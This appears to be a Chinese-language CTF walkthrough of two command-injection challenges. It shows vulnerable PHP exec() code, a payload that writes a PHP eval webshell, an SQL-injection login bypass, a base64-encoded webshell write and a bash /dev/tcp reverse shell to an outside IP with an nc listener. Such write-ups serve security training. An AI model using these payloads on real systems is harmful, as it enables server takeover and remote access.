-
仅代码层面来说,任意命令执行漏洞的利用条件:
1.代码中存在调用系统命令的函数
2.函数中存在我们可控的点
3.可控点没有过滤,或过滤不严格。 -
Linux命令连接符
;
分号
各个命令依次执行,输出结果,互不影响。|
管道符
前一个命令的输出(左边),作为后一个命令的输入(右边),可以连续使用。&
后台运行符
将此命令后台运行,shell可立即执行其他命令。&&
逻辑与
只有前一个命令执行成功,才会执行后面的命令。||
逻辑或
前面的命令执行失败才会去执行后面的命令,直到执行成功。
第一题:
- 命令执行 01
题目URL:http://whalwl.xyz:8033/
其中export.php源码如下:
<?php
if (isset($_POST[‘name‘])){
$name = $_POST[‘name‘];
exec("tar -zcvf backup/$name images/*.jpg");
echo "<div class=\"alert alert-success\" role=\"alert\">
导出成功,<a href=‘backup/$name‘>点击下载</a></div>";
}
?>
-
执行命令:
tar -zcvf backup/$name images/*.jpg
其中$name
可控 -
构造Payload,在网站目录写一句话木马。:
backup.tar.gz;echo ‘<?php @eval($_POST["x"]); ?>‘ >shell.php
命令执行02
- 题目URL:http://whalwl.xyz:8034/
登录界面存在万能密码
账户:1‘ or 1#
密码随意
老方法写一句话webshell:127.0.0.1|echo PD9waHAgQGV2YWwoJF9QT1NUW29rXSk7Pz4= |base64 -d > shell.php
却发现写入失败,可能是没权限,那我们直接反弹shell
反弹shell:
在自己的外网机器上监听: nc -lvp 7777
ip:127.0.0.1&bash -i >& /dev/tcp/167.160.xxx.217/9999 0>&1
点击检测网络情况
就会执行反弹命令